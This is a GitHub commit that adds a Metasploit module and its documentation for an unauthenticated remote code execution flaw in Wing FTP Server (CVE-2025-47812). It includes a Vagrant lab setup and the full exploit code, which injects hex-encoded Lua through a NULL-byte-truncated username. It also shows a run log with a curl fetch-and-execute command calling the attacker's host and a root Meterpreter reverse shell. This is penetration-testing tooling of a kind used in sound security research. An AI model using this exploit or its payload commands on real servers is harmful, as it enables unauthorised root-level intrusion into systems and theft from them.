Skip to content

Commit 1a4a15e

Browse files
committed
Add WingFTP unauthenticated RCE (CVE-2025-47812)
1 parent 50a2749 commit 1a4a15e

File tree

2 files changed

+305
-0
lines changed

2 files changed

+305
-0
lines changed
Lines changed: 158 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,158 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits an unauthenticated Remote Code Execution vulnerability in **Wing FTP Server** (Linux 64-bit),
4+
specifically within its web administration interface.
5+
The vulnerability exists due to insufficient input validation in the file upload endpoint,
6+
where an attacker can upload a crafted script and trigger its execution.
7+
8+
To set up a vulnerable environment, use the following **Vagrantfile** which provisions a
9+
Debian “bookworm” VM with Wing FTP Server installed and listening on standard ports:
10+
11+
```ruby
12+
Vagrant.configure("2") do |config|
13+
config.vm.box = "debian/bookworm64"
14+
15+
if Vagrant.has_plugin?("vagrant-vbguest")
16+
config.vbguest.auto_update = false
17+
end
18+
19+
{
20+
21 => 2121, # FTP
21+
990 => 2990, # FTPS
22+
5466 => 5466, # Admin port WingFTP
23+
50000 => 50000, # Passive FTP range start
24+
50050 => 50050, # Passive FTP range end
25+
80 => 8081 # HTTP WingFTP Web GUI
26+
}.each do |guest, host|
27+
config.vm.network "forwarded_port",
28+
guest: guest,
29+
host: host,
30+
host_ip: "0.0.0.0",
31+
auto_correct: true
32+
end
33+
34+
config.vm.provision "shell", inline: <<-SHELL
35+
#!/usr/bin/env bash
36+
set -e
37+
38+
ADMIN_USER="admin"
39+
ADMIN_PASS="adminadmin"
40+
ADMIN_PORT="5466"
41+
WFTP_URL="https://web.archive.org/web/20250108084555/https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz"
42+
43+
apt-get update
44+
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
45+
wget ca-certificates libssl3 libpam0g libacl1 libcap2 \
46+
net-tools procps expect curl \
47+
linux-headers-amd64 build-essential dkms
48+
49+
mkdir -p /opt/wingftp
50+
cd /opt/wingftp
51+
wget -qO wftp.tar.gz "$WFTP_URL"
52+
tar xzf wftp.tar.gz --strip-components=1
53+
rm wftp.tar.gz
54+
chmod +x setup.sh
55+
56+
expect -c "
57+
spawn /opt/wingftp/setup.sh
58+
expect \\\"Enter your administrator name:\\\" { send \\\"${ADMIN_USER}\\r\\\" }
59+
expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" }
60+
expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" }
61+
expect \\\"Enter the listener port\\\" { send \\\"${ADMIN_PORT}\\r\\\" }
62+
expect \\\"Do you want to start Wing FTP Server now?\\\" { send \\\"y\\r\\\" }
63+
expect eof
64+
"
65+
66+
systemctl daemon-reload
67+
systemctl enable wftpserver.service
68+
systemctl start wftpserver.service
69+
SHELL
70+
71+
config.vm.provider "virtualbox" do |vb|
72+
vb.memory = 512
73+
vb.cpus = 1
74+
end
75+
end
76+
```
77+
78+
* Save this as Vagrantfile in an empty directory.
79+
* Run vagrant up.
80+
* After provisioning, access the Wing FTP Server web UI at http://localhost:5466/ with credentials admin/adminadmin.
81+
* On first login, a popup will appear; click OK.
82+
* Create a new domain in the admin interface (this will enable the web client panel, port 8081).
83+
* Then create a new user; for simplicity, use anonymous.
84+
85+
---
86+
87+
## Verification Steps
88+
89+
1. Start `msfconsole`.
90+
2. Load the module:
91+
```
92+
use exploit/multi/http/wingftp_null_byte_rce
93+
```
94+
3. Set target parameters:
95+
```
96+
set RHOSTS 127.0.0.1
97+
set RPORT 8081
98+
set TARGETURI /
99+
```
100+
4. Configure payload:
101+
```
102+
set payload cmd/linux/http/x64/meterpreter/reverse_tcp
103+
set LHOST <your IP>
104+
set LPORT <your port>
105+
```
106+
5. Run the exploit:
107+
```
108+
run
109+
```
110+
6. On success, a Meterpreter session will open, confirming remote code execution.
111+
112+
---
113+
114+
## Options
115+
116+
* USERNAME - A valid username (default: anonymous)
117+
* PASSWORD - A valid password (default: '')
118+
119+
---
120+
121+
## Scenarios
122+
123+
### Successful Exploitation against Wing FTP Server
124+
125+
**Setup**:
126+
127+
* Wing FTP Server running in the Vagrant VM above.
128+
* Attacker on host machine with Metasploit.
129+
130+
**Steps**:
131+
132+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
133+
134+
```
135+
msf6 exploit(multi/http/wingftp_null_byte_rce) > run http://lab:8081
136+
[*] Command to run on remote host: curl -so ./FaWVivODJhB http://192.168.1.36:9999/LoPlnjEpeOexZNVppn6cAA;chmod +x ./FaWVivODJhB;./FaWVivODJhB&
137+
[*] Fetch handler listening on 192.168.1.36:9999
138+
[*] HTTP server started
139+
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
140+
[*] Started reverse TCP handler on 192.168.1.36:4444
141+
[*] Running automatic check ("set AutoCheck false" to disable)
142+
[+] The target appears to be vulnerable. UID cookie received: UID=2a5efb5a398e4ff19369a523c3cfffb03683e20446a6b40715757e2b05f10521
143+
[+] Received UID: UID=146015b242094d8f4eff04941d94e67d3683e20446a6b40715757e2b05f10521
144+
[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA
145+
[*] Sending payload to 192.168.1.36 (curl/7.88.1)
146+
[*] Transmitting intermediate stager...(126 bytes)
147+
[*] Sending stage (3045380 bytes) to 192.168.1.36
148+
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.36:46260) at 2025-07-01 18:56:31 +0200
149+
150+
meterpreter > sysinfo
151+
Computer : 10.0.2.15
152+
OS : Debian 12.9 (Linux 6.1.0-37-amd64)
153+
Architecture : x64
154+
BuildTuple : x86_64-linux-musl
155+
Meterpreter : x64/linux
156+
meterpreter > getuid
157+
Server username: root
158+
```
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812)',
18+
'Description' => %q{
19+
Wing FTP Server allows arbitrary Lua code injection via a NULL-byte (%00) truncation bug (CVE-2025-47812).
20+
Supplying <valid-user>%00<lua-payload> as the username makes the C++ authentication routine validate only the prefix,
21+
while the full string is written unfiltered into the session file and later executed with root/SYSTEM privileges,
22+
leading to Remote Code Execution.
23+
},
24+
'Author' => [
25+
'Valentin Lobstein', # Metasploit Module
26+
'Julien Ahrens' # Vulnerability Discovery
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' => [
30+
['CVE', '2025-47812'],
31+
['URL', 'https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/']
32+
],
33+
'Platform' => %w[php unix linux win],
34+
'Arch' => [ARCH_PHP, ARCH_CMD],
35+
'Targets' => [
36+
[
37+
'Unix/Linux Command Shell', {
38+
'Platform' => %w[unix linux],
39+
'Arch' => ARCH_CMD
40+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
41+
}
42+
],
43+
[
44+
'Windows Command Shell', {
45+
'Platform' => 'win',
46+
'Arch' => ARCH_CMD
47+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
48+
}
49+
]
50+
],
51+
'DefaultTarget' => 0,
52+
'Privileged' => false,
53+
'DisclosureDate' => '2024-06-30',
54+
'Notes' => {
55+
'Stability' => [CRASH_SAFE],
56+
'Reliability' => [REPEATABLE_SESSION],
57+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
58+
}
59+
)
60+
)
61+
62+
register_options(
63+
[
64+
OptString.new('USERNAME', [ true, 'Valid username for authentication', 'anonymous' ]),
65+
OptString.new('PASSWORD', [ false, 'Password for authentication', '' ])
66+
]
67+
)
68+
end
69+
70+
def check
71+
res = send_request_cgi(
72+
'method' => 'GET',
73+
'uri' => normalize_uri(target_uri.path, 'login.html')
74+
)
75+
return CheckCode::Safe('Not a Wing FTP Web Client') unless res&.body&.include?('Wing FTP Server - Web Client')
76+
77+
suffix = Rex::Text.rand_text_alpha(8)
78+
user = datastore['USERNAME']
79+
pass = datastore['PASSWORD']
80+
payload = "username=#{user}%00#{suffix}&password=#{pass}&username_val=#{user}&password_val=#{pass}"
81+
82+
res = send_request_cgi(
83+
'method' => 'POST',
84+
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
85+
'headers' => {
86+
'Content-Type' => 'application/x-www-form-urlencoded',
87+
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
88+
},
89+
'data' => payload
90+
)
91+
return CheckCode::Unknown('No response') unless res
92+
93+
uid = res.get_cookies.to_s[/UID=[^;]+/]
94+
return CheckCode::Appears("UID cookie received: #{uid}") if uid
95+
96+
CheckCode::Safe('UID cookie not found; not vulnerable')
97+
end
98+
99+
def exploit
100+
user = datastore['USERNAME']
101+
pass = datastore['PASSWORD']
102+
hex = payload.encoded.unpack('H*').first
103+
104+
lua = <<~LUA
105+
]]
106+
local function hx(s)#{' '}
107+
return (s:gsub('..', function(x)#{' '}
108+
return string.char(tonumber(x,16))#{' '}
109+
end))#{' '}
110+
end
111+
local cmd = hx("#{hex}")
112+
local h = io.popen(cmd)
113+
local r = h:read("*a")
114+
h:close()
115+
LUA
116+
117+
inj = "#{user}%00" + Rex::Text.uri_encode(lua).gsub('%0a', '%0d') + '--'
118+
119+
post_data = [
120+
"username=#{inj}",
121+
"password=#{pass}",
122+
"username_val=#{user}",
123+
"password_val=#{pass}"
124+
].join('&')
125+
126+
res = send_request_cgi(
127+
'method' => 'POST',
128+
'uri' => normalize_uri(target_uri.path, 'loginok.html'),
129+
'headers' => {
130+
'Content-Type' => 'application/x-www-form-urlencoded',
131+
'Referer' => normalize_uri(target_uri.path, 'login.html') + '?lang=english'
132+
},
133+
'data' => post_data
134+
)
135+
fail_with(Failure::UnexpectedReply, 'Injection failed') unless res&.code == 200
136+
137+
uid = res.get_cookies.to_s[/UID=[^;]+/]
138+
fail_with(Failure::UnexpectedReply, 'UID cookie not returned') unless uid
139+
print_good("Received UID: #{uid}")
140+
141+
send_request_cgi(
142+
'method' => 'GET',
143+
'uri' => normalize_uri(target_uri.path, 'dir.html'),
144+
'headers' => { 'Cookie' => uid }
145+
)
146+
end
147+
end

0 commit comments

Comments
 (0)